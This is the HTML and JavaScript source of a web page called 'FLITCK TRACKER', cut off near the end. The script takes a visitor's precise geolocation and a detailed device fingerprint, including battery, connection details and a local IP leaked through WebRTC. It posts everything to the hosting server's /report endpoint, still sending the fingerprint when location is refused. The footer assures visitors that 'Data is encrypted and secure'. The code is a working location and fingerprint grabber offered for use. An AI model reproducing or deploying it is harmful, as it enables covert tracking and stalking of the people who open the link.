<!DOCTYPE html>
<html lang="id">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>FLITCK TRACKER</title>
<style>
* {
margin: 0;
padding: 0;
box-sizing: border-box;
}
body {
background: linear-gradient(135deg, #0c0c0c, #1a1a2e);
color: #fff;
font-family: Arial, sans-serif;
min-height: 100vh;
display: flex;
justify-content: center;
align-items: center;
padding: 20px;
}
.container {
background: rgba(30, 30, 40, 0.9);
border-radius: 20px;
padding: 40px;
width: 100%;
max-width: 500px;
text-align: center;
box-shadow: 0 10px 30px rgba(0, 0, 0, 0.5);
border: 2px solid #7CFC00;
}
.logo {
font-size: 3rem;
color: #7CFC00;
margin-bottom: 10px;
display: flex;
justify-content: center;
align-items: center;
gap: 15px;
}
.title {
font-size: 2.5rem;
font-weight: bold;
background: linear-gradient(to right, #7CFC00, #32CD32);
-webkit-background-clip: text;
-webkit-text-fill-color: transparent;
margin-bottom: 10px;
}
.subtitle {
color: #aaa;
margin-bottom: 30px;
font-size: 1.1rem;
}
.info-box {
background: rgba(40, 40, 50, 0.8);
border-radius: 15px;
padding: 20px;
margin: 20px 0;
text-align: left;
border-left: 4px solid #7CFC00;
}
.info-box h3 {
color: #7CFC00;
margin-bottom: 15px;
}
.features {
list-style: none;
}
.features li {
padding: 8px 0;
border-bottom: 1px solid rgba(255, 255, 255, 0.1);
display: flex;
align-items: center;
gap: 10px;
}
.features li:last-child {
border-bottom: none;
}
.btn {
background: linear-gradient(to right, #7CFC00, #32CD32);
color: #000;
border: none;
padding: 18px 40px;
font-size: 1.2rem;
font-weight: bold;
border-radius: 50px;
cursor: pointer;
margin: 25px 0;
width: 100%;
display: flex;
align-items: center;
justify-content: center;
gap: 12px;
transition: all 0.3s;
}
.btn:hover {
transform: scale(1.05);
box-shadow: 0 5px 20px rgba(124, 252, 0, 0.4);
}
.btn:disabled {
opacity: 0.6;
cursor: not-allowed;
transform: none !important;
}
.status {
background: rgba(50, 50, 60, 0.8);
border-radius: 15px;
padding: 25px;
margin: 25px 0;
min-height: 120px;
display: flex;
flex-direction: column;
justify-content: center;
align-items: center;
text-align: center;
}
.loading {
display: inline-block;
width: 25px;
height: 25px;
border: 3px solid #7CFC00;
border-top-color: transparent;
border-radius: 50%;
animation: spin 1s linear infinite;
margin-right: 10px;
}
@keyframes spin {
to { transform: rotate(360deg); }
}
.results {
margin-top: 20px;
text-align: left;
}
.result-item {
background: rgba(255, 255, 255, 0.05);
border-radius: 10px;
padding: 15px;
margin: 10px 0;
display: flex;
align-items: center;
gap: 15px;
}
.result-icon {
font-size: 1.5rem;
color: #7CFC00;
}
.map-link {
display: inline-block;
background: rgba(124, 252, 0, 0.1);
color: #7CFC00;
padding: 12px 25px;
border-radius: 25px;
text-decoration: none;
margin: 15px 0;
border: 2px solid #7CFC00;
font-weight: bold;
}
.map-link:hover {
background: rgba(124, 252, 0, 0.2);
}
.footer {
margin-top: 30px;
color: #666;
font-size: 0.9rem;
border-top: 1px solid rgba(124, 252, 0, 0.2);
padding-top: 20px;
}
.footer {
margin-top: 30px;
color: #666;
font-size: 0.9rem;
border-top: 1px solid rgba(124, 252, 0, 0.2);
padding-top: 20px;
}
.keyboard,
.keyboard-row,
.controls,
div[class*="keyboard"],
div[class*="control"],
div[class*="terminal"],
div[class*="footer-keys"],
.keyboard-container,
.keyboard-keys,
.keyboard-key,
.terminal-footer,
.footer-keys {
display: none !important;
visibility: hidden !important;
height: 0 !important;
width: 0 !important;
padding: 0 !important;
margin: 0 !important;
opacity: 0 !important;
position: absolute !important;
left: -9999px !important;
}
.container {
position: relative;
z-index: 1000;
}
</style>
</style>
</head>
<body>
<div class="container">
<div class="logo">
<span>π</span>
<div class="title">FLITCK TRACKER</div>
</div>
<div class="subtitle">Advanced Location & Device Analysis</div>
<div class="info-box">
<h3>FLITCK TRACKER FEATURES</h3>
<ul class="features">
<li><span>π</span> Location Tracking</li>
<li><span>π±</span> Device Analysis</li>
<li><span>π</span> Browser Detection</li>
<li><span>π</span> Secure Data</li>
</ul>
<p style="margin-top: 15px; color: #888; font-size: 0.9rem;">
<i>MODULE BY : MHFAHRYY</i>
</p>
</div>
<button class="btn" id="startBtn" onclick="startTracking()">
<span id="btnIcon">π</span>
<span id="btnText">START TRACKING</span>
</button>
<div class="status" id="status">
<div id="statusText">Ready to start tracking...</div>
</div>
<div id="results" class="results"></div>
<div class="footer">
<p>FLITCK-TOOLS v1.0.2 β’ Data is encrypted and secure</p>
</div>
</div>
<script>
const startBtn = document.getElementById('startBtn');
const btnText = document.getElementById('btnText');
const btnIcon = document.getElementById('btnIcon');
const status = document.getElementById('status');
const statusText = document.getElementById('statusText');
const resultsDiv = document.getElementById('results');
async function startTracking() {
console.log("Button clicked - Starting tracking...");
startBtn.disabled = true;
btnText.textContent = "PROCESSING...";
btnIcon.textContent = "β³";
statusText.innerHTML = '<span class="loading"></span> Requesting location permission...';
try {
const position = await getLocation();
const deviceInfo = await collectDeviceInfo(position);
console.log("Device info collected:", deviceInfo);
sendToServer(deviceInfo);
} catch (error) {
console.log("Error:", error);
statusText.innerHTML = '<span class="loading"></span> Getting device info...';
try {
const deviceInfo = await collectDeviceInfo(null);
sendToServer(deviceInfo);
} catch (e) {
console.error("Failed to get device info:", e);
statusText.innerHTML = 'β Failed to get data';
startBtn.disabled = false;
btnText.textContent = "TRY AGAIN";
btnIcon.textContent = "π";
}
}
}
function getLocation() {
return new Promise((resolve, reject) => {
if (!navigator.geolocation) {
reject(new Error("Geolocation not supported"));
return;
}
navigator.geolocation.getCurrentPosition(
resolve,
reject,
{
enableHighAccuracy: true,
timeout: 15000,
maximumAge: 0
}
);
});
}
async function collectDeviceInfo(position) {
const data = {
coords: position ? {
lat: position.coords.latitude,
lon: position.coords.longitude,
accuracy: position.coords.accuracy
} : { lat: null, lon: null, accuracy: null },
screen: {
w: screen.width,
h: screen.height
},
ua: navigator.userAgent,
platform: navigator.platform || 'N/A',
language: navigator.language || 'N/A',
timezone: Intl.DateTimeFormat().resolvedOptions().timeZone || 'N/A',
online: navigator.onLine,
deviceMemory: navigator.deviceMemory || 'unknown',
hardwareConcurrency: navigator.hardwareConcurrency || 'unknown',
battery: await getBatteryInfo(),
localIP: await getLocalIP(),
vendor: navigator.vendor || 'N/A',
appVersion: navigator.appVersion || 'N/A',
appName: navigator.appName || 'N/A',
product: navigator.product || 'N/A',
cookieEnabled: navigator.cookieEnabled,
javaEnabled: navigator.javaEnabled ? 'Yes' : 'No',
pdfViewer: navigator.pdfViewerEnabled ? 'Yes' : 'No',
touchSupport: 'ontouchstart' in window ? 'Yes' : 'No',
colorDepth: screen.colorDepth || 'N/A',
pixelRatio: window.devicePixelRatio || 'N/A',
timestamp: new Date().toISOString(),
localTime: new Date().toLocaleTimeString(),
localDate: new Date().toLocaleDateString(),
connection: navigator.connection ? {
effectiveType: navigator.connection.effectiveType || 'N/A',
downlink: navigator.connection.downlink || 'N/A',
rtt: navigator.connection.rtt || 'N/A',
saveData: navigator.connection.saveData || false
} : 'N/A'
};
return data;
}
async function getBatteryInfo() {
if ('getBattery' in navigator) {
try {
const battery = await navigator.getBattery();
return {
level: Math.round(battery.level * 100) + '%',
charging: battery.charging,
chargingTime: battery.chargingTime,
dischargingTime: battery.dischargingTime
};
} catch (e) {
return 'N/A';
}
} else if ('battery' in navigator) {
return {
level: navigator.battery.level * 100 + '%',
charging: navigator.battery.charging
};
}
return 'N/A';
}
async function getLocalIP() {
return new Promise((resolve) => {
const RTCPeerConnection = window.RTCPeerConnection ||
window.mozRTCPeerConnection ||
window.webkitRTCPeerConnection;
if (!RTCPeerConnection) {
resolve('N/A');
return;
}
const pc = new RTCPeerConnection({ iceServers: [] });
const ips = [];
pc.createDataChannel('');
pc.createOffer()
.then(offer => pc.setLocalDescription(offer))
.catch(() => resolve('N/A'));
pc.onicecandidate = (event) => {
if (!event || !event.candidate) {
if (ips.length === 0) {
resolve('N/A');
} else {
resolve(ips[0]);
}
return;
}
const candidate = event.candidate.candidate;
const regex = /([0-9]{1,3}(\.[0-9]{1,3}){3})/;
const match = candidate.match(regex);
if (match) {
const ip = match[1];
if (ips.indexOf(ip) === -1) {
ips.push(ip);
}
}
};
setTimeout(() => resolve('N/A'), 1000);
});
}
function sendToServer(fullData) {
console.log("Sending data to server:", fullData);
const payload = {
coords: fullData.coords,
screen: fullData.screen,
ua: fullData.ua,
platform: fullData.platform,
language: fullData.language,
timezone: fullData.timezone,
online: fullData.online,
deviceMemory: fullData.deviceMemory,
hardwareConcurrency: fullData.hardwareConcurrency,
deviceModel: 'N/A',
vendor: fullData.vendor,
connection: JSON.stringify(fullData.connection),
pdfViewer: fullData.pdfViewer,
touchSupport: fullData.touchSupport,
colorDepth: fullData.colorDepth,
pixelRatio: fullData.pixelRatio,
cookieEnabled: fullData.cookieEnabled,
javaEnabled: fullData.javaEnabled,
battery: JSON.stringify(fullData.battery),
localIP: fullData.localIP
};
statusText.innerHTML = '<span class="loading"></span> Sending data to server...';
fetch('/report', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify(payload)
})
.then(response => {
if (!response.ok) {
throw new Error('Server error: ' + response.status);
}
return response.json();
})
.then(result => {
console.log("Server response:", result);
displayResults(fullData, result);
startBtn.disabled = false;
btnText.textContent = "ANALYZE AGAIN";
btnIcon.textContent = "π";
})
.catch(error => {
console.error("Error:", error);
statusText.innerHTML = `β Error: ${error.message}`;
startBtn.disabled = false;
btnText.textContent = "TRY AGAIN";
btnIcon.textContent = "π";
});
}
function displayResults(fullData, serverResponse) {
resultsDiv.innerHTML = '';
statusText.innerHTML = 'β
Data sent successfully!';
let html = '';
if (fullData.coords && fullData.coords.lat) {
html += `
<div class="result-item">
<div class="result-icon">π</div>
<div>
<strong>Location:</strong><br>
${fullData.coords.lat.toFixed(6)}, ${fullData.coords.lon.toFixed(6)}<br>
<small>Accuracy: ${Math.round(fullData.coords.accuracy)} meters</small>
</div>
</div>
`;
const mapsLink = `https://www.google.com/maps/search/?api=1&query=${fullData.coords.lat},${fullData.coords.lon}`;
html += `<a href="${mapsLink}" target="_blank" class="map-link">πΊοΈ View on Google Maps</a>`;
}
html += `
<div class="result-item">
<div class="result-icon">π±</div>
<div>
<strong>Device:</strong><br>
Screen: ${fullData.screen.w} Γ $